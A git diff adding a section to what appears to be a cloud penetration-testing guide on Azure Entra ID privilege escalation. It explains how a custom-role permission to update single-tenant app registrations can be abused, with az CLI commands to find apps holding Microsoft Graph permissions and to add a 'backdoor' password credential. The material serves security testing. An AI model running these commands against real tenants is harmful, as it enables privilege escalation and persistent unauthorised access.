diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
index aac907857..6e024262c 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
@@ -65,6 +65,43 @@ az ad app credential reset --id <appId> --append
 az ad app credential reset --id <appId> --create-cert
 ```
 
+### `microsoft.directory/applications.myOrganization/allProperties/update`
+
+This permission grants update to **every writable property** of any **single-tenant** application registration (`signInAudience = AzureADMyOrg`), including `passwordCredentials` and `keyCredentials`. It is marked `IsPrivileged: true` in the catalog but is **not** present in any built-in role — it shows up almost exclusively in **custom roles** an admin creates to delegate "manage our internal apps" without realizing the subtype `.myOrganization` happens to scope the action onto exactly the set of apps most likely to hold privileged Microsoft Graph permissions.
+
+- Enumerate apps with privileged Microsoft Graph permissions consented:
+
+```bash
+# SPs with at least one Microsoft Graph app role assigned
+GRAPH_SP_ID=$(az ad sp show --id 00000003-0000-0000-c000-000000000000 --query id -o tsv)
+az rest --method GET \
+  --uri "https://graph.microsoft.com/v1.0/servicePrincipals/$GRAPH_SP_ID/appRoleAssignedTo" \
+  --query "value[].{App:principalDisplayName, SP:principalId, RoleId:appRoleId}" \
+  -o table
+
+# Resolve a RoleId to the human-readable permission name
+az ad sp show --id 00000003-0000-0000-c000-000000000000 \
+  --query "appRoles[?id=='<RoleId>'].value" -o tsv
+```
+
+- Confirm the target is single-tenant (inside the `.myOrganization` subtype scope):
+
+```bash
+az rest --method GET \
+  --uri "https://graph.microsoft.com/v1.0/applications(appId='<APP_ID>')" \
+  --query "{audience:signInAudience, name:displayName}"
+# audience must be "AzureADMyOrg"
+```
+
+- Inject a credential into the target app — the only privileged step in the chain:
+
+```bash
+az rest --method POST \
+  --uri "https://graph.microsoft.com/v1.0/applications(appId='<APP_ID>')/addPassword" \
+  --headers "Content-Type=application/json" \
+  --body '{"passwordCredential":{"displayName":"backdoor"}}'
+```
+
 ### `microsoft.directory/applications.myOrganization/credentials/update`
 
 This allows the same actions as `applications/credentials/update`, but scoped to single-directory applications.